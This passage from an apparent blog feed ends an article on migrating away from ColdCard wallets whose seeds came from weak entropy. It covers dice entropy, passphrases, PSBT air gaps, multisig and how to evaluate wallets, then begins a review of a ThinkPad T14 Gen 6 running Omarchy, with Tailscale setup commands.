    <a href="#rolling-dice-is-not-that-simple" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Each roll of an ideal D6 provides <code>log2(6)</code>, about 2.585 bits. That is where the figures of <strong>50 rolls</strong> for 128 bits and <strong>99 rolls</strong> for approximately 256 bits come from. <a href="https://coldcard.com/docs/verifying-dice-roll-math/"target="_blank" rel="noopener">ColdCard&rsquo;s documentation shows the calculation and the SHA-256 applied to the sequence</a>. <a href="https://github.com/SeedSigner/seedsigner"target="_blank" rel="noopener">SeedSigner</a> uses the same thresholds: 50 for 12 words or 99 for 24.</p>
<p>That calculation assumes a fair die and independent rolls. A cheap promotional plastic die may have bubbles, poorly cut faces, and a shifted center of mass. Your hand may repeat a motion, the tray may favor one position, and many people &ldquo;roll again&rdquo; when the die lands near an edge. Every human decision made after seeing the result introduces bias.</p>
<p>If I were generating a seed manually today, I would use <strong>precision casino-grade dice</strong> from more than one manufacturer or batch. <a href="https://blog.bitbox.swiss/en/roll-the-dice-generate-your-own-seed/"target="_blank" rel="noopener">BitBox itself recommends five casino-grade dice</a> for its manual procedure. I would define the reading order ahead of time, use a tray that lets the dice bounce, and accept every valid roll according to a rule written before I started. No rerolling because it &ldquo;didn&rsquo;t mix properly.&rdquo;</p>
<p>Even then, I would not trust the dice alone. I would mix independent sources: more than one set of dice, coin flips, entropy from an offline host, and a hardware TRNG when the device supports it. Making hundreds of rolls is cheap. The care lies in feeding everything to an audited mechanism that performs the cryptographic combination. Adding numbers, picking the &ldquo;most random&rdquo; words, or concatenating pieces of mnemonics yourself is a recipe for losing funds.</p>
<p>Check what your device actually implements. In Ledger&rsquo;s documented new-wallet setup, the Secure Element TRNG generates the entropy. In restore mode, <a href="https://www.ledger.com/academy/can-i-recover-my-hot-wallet-on-a-ledger"target="_blank" rel="noopener">the words must reconstruct exactly the same keys</a>. The TRNG cannot add secret entropy on top of the imported mnemonic because that would create another wallet and destroy the purpose of a backup. Restoring a seed made with dice therefore transfers custody and signing to the device, but it does not improve the original randomness.</p>
<p>With a commercial hardware wallet, I would choose one of two paths: generate a new root through the official flow of an updated device that documents how it combines independent sources, or generate BIP39 outside it through an auditable and fully offline process, then enter the words only through the signer&rsquo;s screen and buttons. A seed created in MetaMask, a website, or a connected laptop and later restored into a Ledger remains a hot seed. Ledger summarizes this well: <a href="https://www.ledger.com/academy/can-i-recover-my-hot-wallet-on-a-ledger"target="_blank" rel="noopener">move, don&rsquo;t merge</a>.</p>
<p>BTC D00M Guy has <a href="https://btcdoomguy.substack.com/p/como-gerar-sua-seed-e-fazer-o-backup"target="_blank" rel="noopener">a visual Portuguese-language tutorial on BIP39, dice, and recovery testing</a>. It is a good introduction to seeing the process, but I would not literally copy the old-phone-in-airplane-mode step for serious wealth. Airplane mode does not prove the device was clean, does not physically remove its radios, and formatting flash afterward gives me no verifiable erasure guarantee. It is fine for learning and rehearsal. To create the seed for my life savings, I prefer hardware with no radio, a verified ephemeral system, or a dedicated signer.</p>
<blockquote>
  <p>The rolls become a secret the moment you decide to use them. Do not photograph them, dictate them out loud, keep them in a phone note, or type them into a website. <a href="https://github.com/SeedSigner/seedsigner/blob/dev/docs/dice_verification.md"target="_blank" rel="noopener">SeedSigner&rsquo;s documentation</a> recommends that any verification of a real seed happen on an ephemeral system such as Tails, fully offline and discarded after the test.</p>
<p>More entropy does not fix a bad process either. One hundred rolls recorded by a cloud-connected camera are worth zero against someone who has the video.</p>

</blockquote>
<h2>Passphrase: another wallet, not another password<span class="hx:absolute hx:-mt-20" id="passphrase-another-wallet-not-another-password"></span>
    <a href="#passphrase-another-wallet-not-another-password" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>In BIP39, the mnemonic is the main input to PBKDF2-HMAC-SHA512. The salt is the string <code>mnemonic</code> concatenated with the passphrase, and the function runs 2,048 iterations. Every passphrase produces a valid wallet. One wrong character does not display &ldquo;incorrect password&rdquo;; it opens another, usually empty wallet.</p>
<p>A long, random, unique, and independent passphrase can protect an exposed or weak mnemonic. In the ColdCard case, it adds a secret that did not come from the defective RNG: the attacker must combine every mnemonic candidate with a passphrase attempt. If that passphrase has enough entropy and never leaked, the attack may become infeasible again.</p>
<p>But a quote, human pattern, or reused password becomes an offline dictionary attack with no rate limit. BIP39&rsquo;s 2,048 iterations do not turn a weak passphrase into a strong one. And losing it is just as final as losing the words. A hardware wallet PIN does not replace a passphrase. The PIN protects the physical device; the passphrase participates in key derivation.</p>
<p>Store the passphrase separately from the mnemonic and test a complete recovery before depositing a meaningful amount. Record the expected fingerprint and at least one address as well. During recovery, they tell you whether you opened the correct wallet.</p>
<blockquote>
  <p>In the ColdCard case, do not add a passphrase to the vulnerable seed now and call that a migration. Create a new root. The passphrase may be part of the new architecture, but the bitcoin must leave scripts derived from the old root.</p>

</blockquote>
<h2>Sparrow, air gaps, and PSBT<span class="hx:absolute hx:-mt-20" id="sparrow-air-gaps-and-psbt"></span>
    <a href="#sparrow-air-gaps-and-psbt" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p><a href="https://sparrowwallet.com/"target="_blank" rel="noopener">Sparrow</a> is the coordinator I use. It knows descriptors, xpubs, addresses, UTXOs, and history. It can construct a transaction, but in a watch-only configuration it has no private key with which to sign.</p>
<p>This is where <a href="https://github.com/bitcoin/bips/blob/master/bip-0174.mediawiki"target="_blank" rel="noopener">PSBT, standardized in BIP174</a>, comes in. Sparrow creates a Partially Signed Bitcoin Transaction with the inputs, outputs, amounts, and derivation data required. The file or QR code goes to the offline signer. The signer reviews it, adds its signature, and returns the PSBT. In multisig, the same package moves through the remaining signers until it reaches quorum. Sparrow combines, finalizes, and broadcasts it.</p>
<p>The air-gapped single-sig flow looks like this:</p>
<ol>
<li>Sparrow creates the transaction on the online computer.</li>
<li>You export the PSBT through QR code or microSD.</li>
<li>ColdCard, SeedSigner, or another device displays the destination, amount, and fee.</li>
<li>You verify them on the signer&rsquo;s screen and sign.</li>
<li>Sparrow imports the signed PSBT, finalizes it, and broadcasts it.</li>
</ol>
<p>An air gap reduces the attack surface. It is not a force field. QR codes and microSD still carry data, malicious firmware remains malicious firmware, and a compromised coordinator can try to replace the destination or change address. The signer&rsquo;s screen exists so you can compare the address, amount, and fee before pressing Confirm.</p>
<blockquote>
  <p>And an air gap cannot improve entropy retroactively. A vulnerable ColdCard could spend its entire life without a USB cable. The key was already born weak.</p>

</blockquote>
<h2>2-of-3 multisig: safer and much more bureaucratic<span class="hx:absolute hx:-mt-20" id="2-of-3-multisig-safer-and-much-more-bureaucratic"></span>
    <a href="#2-of-3-multisig-safer-and-much-more-bureaucratic" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Single-sig concentrates everything in one seed, one backup, and one implementation. Among options available today, <strong>2-of-3 multisig</strong> with genuinely independent signers is the closest thing I know to maximum security against that single point of failure.</p>
<p>You create three independent seeds on signers from different manufacturers and codebases. Sparrow creates a policy requiring two signatures. One device may break or one seed may leak without immediately surrendering the funds. Two signers remain enough for recovery.</p>
<p>&ldquo;Independent&rdquo; is once again the word doing the work. Three hardware wallets fed by three child seeds from the same BIP85 root still depend on one root. Three seeds generated by the same vulnerable ColdCard repeat the risk. Use separate processes and entropy sources. I might combine, for example, a commercial signer from another manufacturer, a SeedSigner using dice, and a third device with a different architecture.</p>
<p>In Sparrow, the conceptual procedure is:</p>
<ol>
<li>Create and back up each seed separately.</li>
<li>Export the fingerprint, derivation path, and xpub from each signer.</li>
<li>Create a <code>Multi Signature</code> wallet, normally Native SegWit, with a 2-of-3 policy.</li>
<li>Import all three keystores and back up the wallet&rsquo;s output descriptor.</li>
<li>Record which signers correspond to which fingerprints.</li>
<li>Verify one receiving address on more than one signer.</li>
<li>Make a small deposit, restore and test the signers, and perform a complete trial withdrawal.</li>
</ol>
<p>The descriptor cannot spend by itself, but it reveals every address and the full history. It is a necessary backup for reconstructing the policy and also sensitive privacy data. Keep copies in locations separate from the seeds.</p>
<p>When spending, Sparrow creates the PSBT; signer A signs; signer B signs; Sparrow combines and broadcasts. Every person or device must review the outputs. Multisig run by an operator who confirms everything automatically merely distributes the same mistake across three screens.</p>
<p>None of this is a mystery to me. I still find it bureaucratic as hell: three seeds, three backups, an output descriptor, separate locations, two devices for every spend, firmware updates, and a recovery plan that another family member must be able to execute when you are no longer around.</p>
<p>Every layer reduces one technical risk and creates another opportunity for the operator to make a mistake. Usability is part of security too. If the architecture becomes so annoying that you stop testing backups, stop updating signers, or cannot document inheritance, the perfect multisig diagram is not worth much.</p>
<blockquote>
  <p>I completely understand anyone who prefers to stay with single-sig and a strong, independent, well-stored passphrase. It is much easier to operate. Just make that choice knowing you accept more risk: you still depend on one root and one signing path. If that point fails, the entire wallet falls with it. A passphrase adds a barrier; it does not add a second independent signature.</p>

</blockquote>
<p><a href="https://sparrowwallet.com/docs/best-practices.html"target="_blank" rel="noopener">Sparrow&rsquo;s best practices guide</a> recommends 2-of-3 using hardware wallets from different vendors and backups stored in separate locations.</p>
<blockquote>
  <p>If one key in your 2-of-3 came from an affected ColdCard, the attacker potentially already controls that key and can produce a signature. They still cannot spend alone, but your effective threshold has fallen: now they only need to compromise one more signer. Create a new multisig wallet with a new cosigner and move the funds. You cannot &ldquo;replace one key&rdquo; while keeping the same addresses; the policy changed, so the scripts change too.</p>

</blockquote>
<h2>Fulcrum fixes privacy, not a weak key<span class="hx:absolute hx:-mt-20" id="fulcrum-fixes-privacy-not-a-weak-key"></span>
    <a href="#fulcrum-fixes-privacy-not-a-weak-key" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Sparrow needs to query the blockchain. On a public Electrum server, it requests the history of script hashes derived from your addresses. The server can correlate queries, timing, and IP address to group balances and history, even without receiving the raw xpub. To avoid that, I connect Sparrow to my own Bitcoin Core node through Fulcrum.</p>
<p>I showed the architecture and installation in <a href="/en/2026/04/01/bitcoin-on-the-home-server-sovereignty-with-coldcard-sparrow-fulcrum/">Bitcoin on the Home Server: Sovereignty and Privacy with Coldcard, Sparrow and Fulcrum</a>. That article remains useful, with one obvious correction: do not use a seed generated by affected ColdCard firmware.</p>
<p>Your node validates the blockchain. Fulcrum indexes it and responds quickly to Sparrow. That improves sovereignty and query privacy. Neither can stop an attacker from signing with a private key they reproduced from bad entropy.</p>
<h2>How I would migrate today<span class="hx:absolute hx:-mt-20" id="how-i-would-migrate-today"></span>
    <a href="#how-i-would-migrate-today" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Do not turn one emergency into a second accident. I would follow this order:</p>
<ol>
<li><strong>Take inventory.</strong> List the model, firmware that generated the seed, accounts, passphrases, derivation paths, and every multisig in which that key participates. Do not post balances or addresses on social media.</li>
<li><strong>Treat the seed as compromised.</strong> Do not enter it into online software or accept any third-party &ldquo;checker.&rdquo; Keep signing on the device only for as long as it takes to leave.</li>
<li><strong>Choose the new architecture.</strong> I would not generate the new seed on a ColdCard. Use another new signer bought directly from the manufacturer, a SeedSigner, or 2-of-3 with different implementations. Do not import the old words into it. If you insist on reusing your ColdCard, first install the corrected firmware for the proper model and release track.</li>
<li><strong>Generate new entropy.</strong> Use independent sources and an audited mixer. For dice, use casino-grade material, multiple sources, and at least 99 rolls for a 24-word mnemonic. I would do more.</li>
<li><strong>Back up before receiving.</strong> Mnemonic, separate passphrase, fingerprints, and the descriptor for multisig. Never photograph any of them or store them in the cloud.</li>
<li><strong>Test recovery.</strong> Recreate the wallet and verify fingerprints and addresses. In multisig, prove that two keys can sign without depending on the third.</li>
<li><strong>Verify the address on the screen.</strong> Do not trust only what Sparrow displays on the computer monitor.</li>
<li><strong>Send a small amount.</strong> Confirm that the new wallet can receive and spend. Coinkite also recommends this test.</li>
<li><strong>Move the rest immediately afterward.</strong> Review the fee and every output. Look for balances in other accounts, passphrases, and change addresses derived from the old seed.</li>
<li><strong>Keep the old backup marked as compromised.</strong> Retain it until you are certain the migration confirmed and no delayed deposit will arrive. Never reuse an old address.</li>
</ol>
<blockquote>
  <p>If the attacker is racing you, do not spend a week designing the perfect multisig. Create a safe, verified destination, perform the minimum test, and move the funds beyond the old key&rsquo;s reach. You can reorganize UTXOs and improve the architecture later, with time to think.</p>

</blockquote>
<h2>So which hardware wallet do I recommend?<span class="hx:absolute hx:-mt-20" id="so-which-hardware-wallet-do-i-recommend"></span>
    <a href="#so-which-hardware-wallet-do-i-recommend" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Today, none.</p>
<p>After explaining entropy generation, BIP39, passphrases, PSBT, air gaps, descriptors, and multisig, it should be clear that fully offline, hand-built self-custody is <strong>very hard</strong>. I do not expect a normal person to master the mathematical implications, audit every algorithm, and execute every step without error. Most programmers could not do it either. I will not pretend I can review the entire chain alone, from silicon to the firmware running on the device.</p>
<p>That is exactly why hardware wallets exist. They package complicated cryptography and procedures into an interface a person can operate. This transfers part of the responsibility to the manufacturer; it does not make trust disappear.</p>
<p>Leaving your life savings in an exchange account remains the worst default. You do not have the keys and depend on the company&rsquo;s solvency, withdrawal policy, legal system, and account security. But a handmade setup you do not understand can also end in total loss. There is no point eliminating counterparty risk only to replace it with a ceremony nobody can restore after a fire or your own death.</p>
<p>For years, the hardware wallet was treated as the last safe haven between those extremes. Coinkite shook trust in the entire category. That does not mean Ledger, Trezor, BitBox, Passport, Jade, SeedSigner, and everyone else are broken or equivalent. It means a strong name, secure element, air gap, visible code, and years on the market are not enough. I can no longer point to one device and say, &ldquo;buy this and sleep well.&rdquo; You will have to do your homework.</p>
<blockquote>
  <p><strong>NEVER buy a second-hand hardware wallet. Buy it new, directly from the manufacturer&rsquo;s official store.</strong> Do not save on shipping by placing your life savings in a device that passed through a stranger&rsquo;s hands. Marketplace listings, auctions, eBay, &ldquo;open box,&rdquo; refurbished hardware, and that unbelievable deal from a friend are all out of the question.</p>

</blockquote>
<p>When the package arrives, do not tear everything open and start pressing buttons. Open the official documentation for that model and follow its supply-chain verification. <a href="https://coldcard.com/docs/quick/"target="_blank" rel="noopener">ColdCard uses serialized packaging that shows evidence of opening</a>: the number appears on the bag, an internal tab, and the device itself. <a href="https://trezor.io/support/troubleshooting/device-issues/is-my-device-safe-to-use"target="_blank" rel="noopener">Trezor documents the holographic seals</a> for each model. <a href="https://support.bitbox.swiss/en_US/orders-shipping/verifying-the-bitbox02-packaging"target="_blank" rel="noopener">BitBox combines sealed packaging with cryptographic attestation</a> performed by its app.</p>
<p>Check the seal, cuts, glue, serial number, box contents, and the authenticity mechanism shown by the device or official software. Any mismatch ends the setup: do not connect a seed, do not &ldquo;see whether it works,&rdquo; and contact the manufacturer. The device must arrive without an initialized wallet and generate new words in front of you. A seed printed inside the box is a scam.</p>
<p>And watch the terminology: all of this is <strong>tamper-evident</strong>, not tamper-proof. ColdCard&rsquo;s own documentation admits a bag can be attacked; BitBox says perfect packaging does not guarantee authenticity. An intact seal is one layer. I still want attestation or a genuine check, signed firmware, hash verification where available, and a complete test with a small amount of money.</p>
<p>I would start with these questions:</p>
<ol>
<li><strong>What is the published threat model?</strong> The manufacturer must say what it protects against and, more importantly, what remains out of scope: an infected computer, stolen device, physical laboratory attack, supply chain, targeted firmware, coercion. &ldquo;Military-grade security&rdquo; is not a threat model.</li>
<li><strong>Where does the entropy come from, exactly?</strong> Find the sources, how they are combined, and which end-to-end tests prove the <code>New Wallet</code> flow reaches the promised RNG. Support for dice or external entropy helps only when the mixing mechanism is documented and audited. The ColdCard case showed that having the correct TRNG inside the binary does not mean seed generation uses it.</li>
<li><strong>Is the code actually free, and does the binary correspond to it?</strong> &ldquo;Source available&rdquo; under a restrictive license is not FOSS. Open code permits audits, but does not prove anyone performed one. A <a href="https://reproducible-builds.org/docs/definition/"target="_blank" rel="noopener">reproducible build</a> lets third parties rebuild the firmware and compare it bit for bit. Look for current independent verifications on <a href="https://walletscrutiny.com/"target="_blank" rel="noopener">WalletScrutiny</a>, not just the manufacturer&rsquo;s promise.</li>
<li><strong>How does the company treat people who find flaws?</strong> Read the disclosure policy, scope, and bounty amounts. Look for old advisories, CVEs, postmortems, and conversations with researchers. A company that publishes a vulnerability, explains its cause, fixes it quickly, and thanks the researcher deserves more trust than one with a supposedly &ldquo;perfect&rdquo; history. Sometimes nobody found a vulnerability because nobody competent had an incentive to look.</li>
<li><strong>What can you verify on the trusted screen?</strong> Before signing, the device should display the address, amount, fee, and change. It should verify receiving addresses on its own display, allow PIN and passphrase entry without handing them to the computer, and correctly register the multisig policy. A secure element protects a key; it cannot rescue an interface that makes you sign without understanding the outputs.</li>
<li><strong>Is there an exit route without the manufacturer?</strong> I want interoperable standards: BIP39/BIP32 where applicable, <a href="https://bips.dev/174/"target="_blank" rel="noopener">PSBT</a>, and <a href="https://bips.dev/380/"target="_blank" rel="noopener">output descriptors</a>. I want to export xpubs, fingerprints, and descriptors, use Sparrow, connect my node, and recover through another implementation. Mandatory accounts, proprietary clouds, and backups that open only in the company&rsquo;s app are lock-in built on top of the key to your life.</li>
<li><strong>How do the hardware, firmware, and supply chain work?</strong> A secure element, ordinary microcontroller, and stateless signer make different tradeoffs. Find out what persists on the device and what a physical attacker can extract. Releases should be signed, have useful changelogs, prevent unsafe downgrades, and receive maintenance for years. Research how the device proves authenticity, how the company documents packaging and transport, what happens if the update server disappears, and which closed components exist. An air gap is not a magic seal either: QR, NFC, and microSD are input parsers and remain an attack surface.</li>
<li><strong>Can you recover without improvising?</strong> Before depositing meaningful value, generate the wallet, back it up, erase the device, and recover. Verify the fingerprint, an address, and a complete round-trip transaction. In multisig, restore the descriptor and prove the quorum works without one key. An untested backup is hope, not a backup.</li>
</ol>
<p>I would also research the repository history, security issues, recent commits, independent audits, and the time between a vulnerability report and its fix. I would search for the model name alongside <code>vulnerability</code>, <code>reproducible build</code>, <code>seed entropy</code>, <code>multisig</code>, and <code>responsible disclosure</code>. An influencer review with an affiliate link is useful for seeing the screen and device size, not for deciding where to store your wealth.</p>
<p>For small amounts, a thoroughly researched commercial signer may be much less risky than a handmade invention. For wealth that changes your life, 2-of-3 with different manufacturers and codebases remains the reference, as <a href="https://sparrowwallet.com/docs/best-practices.html"target="_blank" rel="noopener">Sparrow&rsquo;s guide</a> recommends. It limits the damage from one compromised vendor, but demands more backups, more testing, and a well-documented policy. Multisig you cannot restore is worse than well-maintained single-sig.</p>
<p>In some collaborative custody services, a company holds one key in a 2-of-3 setup. It should not be able to spend alone, but it learns information about your wallet and can disappear, deny service, or complicate recovery. A professional custodian also exchanges technical risk for legal and counterparty risk. In the end, you choose which risk you carry and which you hand to someone else.</p>
<p>The best recommendation I can offer is not a brand. Choose an architecture proportional to the amount and determine which failures it tolerates. Before depositing money that would hurt to lose, run the entire flow with a small amount: receive, spend, erase one signer, restore the backup, and see whether you can return on your own.</p>
<h2>Conclusion<span class="hx:absolute hx:-mt-20" id="conclusion"></span>
    <a href="#conclusion" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Self-custody removes the custodian but leaves a brutal responsibility behind. Trust remains spread across silicon, firmware, the compiler, the build process, the wallet coordinator, and your own discipline. Hardware wallets remain useful because doing everything by hand is impractical for almost everyone. The mistake is confusing the tool with a guarantee.</p>
<p>I do not recommend a specific brand today. I prefer to distribute risk and create ways to catch failures: independent entropy sources, free code, reproducible builds verified by third parties, rehearsed recoveries, different signers, and multisig when the amount justifies it and you accept the bureaucracy. Single-sig with a passphrase is an understandable choice. It simply does not provide the same fault tolerance. Make that choice knowing what you delegate and which risk you decided to keep.</p>
<p>This may become <strong>one of the worst episodes in the history of Bitcoin self-custody</strong>. Not because someone left coins on a shitty exchange, typed a seed into a phishing site, or installed a pirated wallet. Many people bought a dedicated device, wrote down 24 words, kept the backup in steel, kept everything offline, and signed through an air gap. They did exactly what Bitcoin culture taught as the correct procedure. A nasty bug still caught them at the most important moment of all: choosing the root.</p>
<blockquote>
  <p>In the worst cases, the RNG reduced the universe to something around <code>2^40</code>. The attacker does not need to touch the ColdCard. They enumerate possible states, derive the most likely BIP32 trees and addresses, query the public blockchain, and find which candidates hold UTXOs. Once they find one, they also have the private keys needed to sign. The ColdCard may be powered off, without a battery or USB cable, and locked in a safe. It makes no difference. An air gap protects the path between signer and computer; it cannot recover entropy that never existed.</p>

</blockquote>
<p>There was no visible warning. The wallet received, signed, and restored normally until the day someone else reproduced the same key. That is why 12 versus 24 words, air gap versus USB, and secure element versus microcontroller become secondary debates when nobody tested whether the <strong>New Wallet</strong> button called the correct RNG.</p>
<p>It also shows why I refuse to call negligence a black swan. The source was open, the path was auditable, and the culture pushed away some of the people most capable of spotting problems. It was a white swan waiting for someone to look in the right direction.</p>
<blockquote>
  <p>The lesson is not to abandon self-custody. It is to stop outsourcing understanding. Study the threat model, find out how entropy is generated, inspect the manufacturer&rsquo;s history, rehearse recovery, and know which risks remain concentrated. Do not blindly trust a company, certification, influencer, tutorial, or article. Not even this one. Verify.</p>

</blockquote>
<p>I have already moved my funds from the old ColdCard. In practice, if you own any ColdCard, do the same. There is no prize for finding out too late that your case had another undocumented exception.</p>
<p>Choose the new architecture using the criteria above. Generate a completely new root. Mix genuinely independent entropy. Test the backup. Verify the addresses. Move everything.</p>
]]></content:encoded><category>bitcoin-and-cryptocurrency</category><category>security</category><category>hardware</category></item><item><title>Omarchy on the Thinkpad T14 Gen 6: Mini-Review and Full Setup</title><link>https://www.akitaonrails.com/en/2026/04/18/omarchy-on-thinkpad-t14-gen-6/</link><guid isPermaLink="true">https://www.akitaonrails.com/en/2026/04/18/omarchy-on-thinkpad-t14-gen-6/</guid><pubDate>Sat, 18 Apr 2026 08:30:00 -0300</pubDate><description>&lt;p&gt;&lt;img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/18/thinkpad/closed-lid.jpg" alt="Thinkpad T14 Gen 6 closed, next to its USB-C charger" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;I bought a Lenovo Thinkpad T14 Gen 6 and installed Omarchy on it. It&amp;rsquo;s not my main machine, and it&amp;rsquo;s not supposed to be. It&amp;rsquo;s a companion: a notebook I can open on the 3D printing office desk, SSH into the desktop, fire up Claude Code, access files on the NAS, debug the network through ethernet without hunting for a USB dongle and a long cable. This article covers the hardware choice, the Omarchy setup on top, the customizations specific to a laptop and to this Thinkpad in particular, and the architecture decisions that might not be obvious.&lt;/p&gt;</description><content:encoded><![CDATA[<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/18/thinkpad/closed-lid.jpg" alt="Thinkpad T14 Gen 6 closed, next to its USB-C charger"  loading="lazy" /></p>
<p>I bought a Lenovo Thinkpad T14 Gen 6 and installed Omarchy on it. It&rsquo;s not my main machine, and it&rsquo;s not supposed to be. It&rsquo;s a companion: a notebook I can open on the 3D printing office desk, SSH into the desktop, fire up Claude Code, access files on the NAS, debug the network through ethernet without hunting for a USB dongle and a long cable. This article covers the hardware choice, the Omarchy setup on top, the customizations specific to a laptop and to this Thinkpad in particular, and the architecture decisions that might not be obvious.</p>
<h2>Mini-review of the Thinkpad T14 Gen 6<span class="hx:absolute hx:-mt-20" id="mini-review-of-the-thinkpad-t14-gen-6"></span>
    <a href="#mini-review-of-the-thinkpad-t14-gen-6" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/18/thinkpad/open-lid-turned-off.jpg" alt="Thinkpad T14 Gen 6 open with the screen off, showing the keyboard and the Intel Core Ultra 5 sticker"  loading="lazy" /></p>
<p>Let&rsquo;s get this out of the way: this isn&rsquo;t the notebook of my dreams. If I were picking by looks, I&rsquo;d grab an Asus Zenbook S 14 with an OLED screen. If I were picking by portability, the Thinkpad T14s with the aluminum shell, which is lighter and much better looking. The regular T14 has a 14&quot; 1920x1200 IPS panel, 400 nits, 60Hz, no HDR. It gets the job done, but it&rsquo;s a far cry from the Zenbook&rsquo;s screen. The shell is plastic with a rubberized finish, which makes it scratch-resistant but not premium. Reviews from <a href="https://www.notebookcheck.net/AMD-Ryzen-AI-meets-classic-ThinkPad-Lenovo-ThinkPad-T14-Gen-6-AMD-laptop-review.1222690.0.html"target="_blank" rel="noopener">NotebookCheck</a> and <a href="https://www.xda-developers.com/lenovo-thinkpad-t14-gen-6-review/"target="_blank" rel="noopener">XDA Developers</a> land on the same verdict: good price, good connectivity, fine performance for office work, but the screen is dated.</p>
<p>What makes up for it:</p>
<ul>
<li>Port selection. Full-size HDMI. Gigabit ethernet. USB-A, USB-C Thunderbolt 4, charges over USB-C (not a proprietary charger). For a debug companion, this is exactly what I wanted. The Zenbook S 14, being thinner, cuts ports.</li>
<li>Fingerprint sensor that actually works on Linux (Goodix MOC, works with libfprint on kernel 6.11+). I use this, details later.</li>
<li>Thinkpad keyboard. 1.5mm key travel, trackpoint, classic layout. It&rsquo;s not the best keyboard in the world in 2026, but it&rsquo;s reliable and durable.</li>
<li>Rugged shell. It will fall, it will scratch, it will travel in a backpack. If I put a Zenbook OLED or a Macbook Pro on the 3D printing office desk next to the printer with PLA dust in the air, I&rsquo;d be nervous. The Thinkpad can take a beating.</li>
</ul>
<p>If I wanted a gaming machine, I&rsquo;d get an Asus Zephyrus G14, my favorite gaming notebook. If I wanted a creative work machine, I&rsquo;d get the <a href="https://www.asus.com/laptops/for-home/zenbook/zenbook-duo-ux8406/"target="_blank" rel="noopener">Asus Zenbook Duo (UX8406)</a> with two vertical OLED screens, great for video editing and 3D modeling. I can afford any Macbook Pro or Mac Studio, and I chose not to go that way. I&rsquo;ll explain in the next section.</p>
<h2>My use case<span class="hx:absolute hx:-mt-20" id="my-use-case"></span>
    <a href="#my-use-case" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/18/thinkpad/open-lid-fastfetch.jpg" alt="Thinkpad open on a 3D printing office bench, with fastfetch showing Omarchy in the terminal"  loading="lazy" /></p>
<p>My main PC is a desktop with Ryzen 9 7950X3D, 96 GB of RAM, RTX 5090 with 32 GB. That&rsquo;s where I work, experiment with local models, run containers, edit the blog. For gaming, I have a separate mini-PC with an RTX 4090. Those two cover 100% of what I need to do at home.</p>
<p>The notebook exists to cover the remaining 1%: sitting on the couch, taking it to the 3D printing office, taking it to the kitchen, short trips. It&rsquo;s not meant to replace the desktop. It&rsquo;s meant to give me remote access to the desktop when I&rsquo;m away from it.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/18/thinkpad/ssh-to-remote-desktop-on-left.png" alt="Hyprland with two terminals side by side: left is an SSH session on the main desktop (96 GB, RTX 5090), right is the Thinkpad itself. Same UI, two machines."  loading="lazy" /></p>
<p>In practice it looks like this: open the notebook, split the Hyprland layout, left pane SSHs into the main desktop, right pane is the notebook itself. Same Omarchy on both, same keybindings, same bash. The notebook becomes an extension of the desktop, not a parallel environment I have to re-learn in my head every time I switch.</p>
<h3>SSH from outside the house: Tailscale<span class="hx:absolute hx:-mt-20" id="ssh-from-outside-the-house-tailscale"></span>
    <a href="#ssh-from-outside-the-house-tailscale" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Inside the local network, SSH is trivial, the notebook talks to the desktop through the internal IP. Outside the house is another story. My home IP is dynamic, opening port 22 to the internet is a terrible idea, and even with DDNS and port forwarding you&rsquo;re putting SSH on the public internet for any scanner to find.</p>
<p>The solution I use is <a href="https://tailscale.com/"target="_blank" rel="noopener">Tailscale</a>. For those who don&rsquo;t know: Tailscale is a mesh VPN built on WireGuard that creates a private network between your devices (the &ldquo;tailnet&rdquo;). Each machine runs the agent, authenticates once, and gets a fixed IP on the private network (something like 100.x.y.z). Traffic between your own devices goes peer-to-peer, encrypted by WireGuard. It doesn&rsquo;t route through Tailscale&rsquo;s central server, they only coordinate NAT traversal. Result: from my notebook in a café anywhere in the world, I run <code>ssh hal9000</code> and land on my home desktop as if I were on the same network.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/18/thinkpad/tailscale-machines.png" alt="Tailscale admin panel showing my two tailnet machines, hal9000 (desktop) and hal9666 (thinkpad), both with SSH enabled"  loading="lazy" /></p>
<p>More sophisticated options exist: <a href="https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/"target="_blank" rel="noopener">Cloudflare Tunnel</a> with Zero Trust to expose services publicly with SSO auth, self-hosted headscale, raw WireGuard with manual config, Nebula, OpenVPN. Each has its use case. If you need to expose services to third parties, control granular per-identity access, or run the whole infrastructure at home without depending on anyone, those options win. In my case, it&rsquo;s just notebook talking to desktop, for short periods (it&rsquo;s not a full week of work, it&rsquo;s a weekend debug session), so free Tailscale covers it. The free tier accepts up to 100 devices and 3 users, way more than I need.</p>
<p>Setup is as simple as it gets:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># On Arch/Omarchy</span>
</span></span><span class="line"><span class="cl">sudo pacman -S tailscale
</span></span><span class="line"><span class="cl">sudo systemctl <span class="nb">enable</span> --now tailscaled.service
</span></span><span class="line"><span class="cl">sudo tailscale up --ssh</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
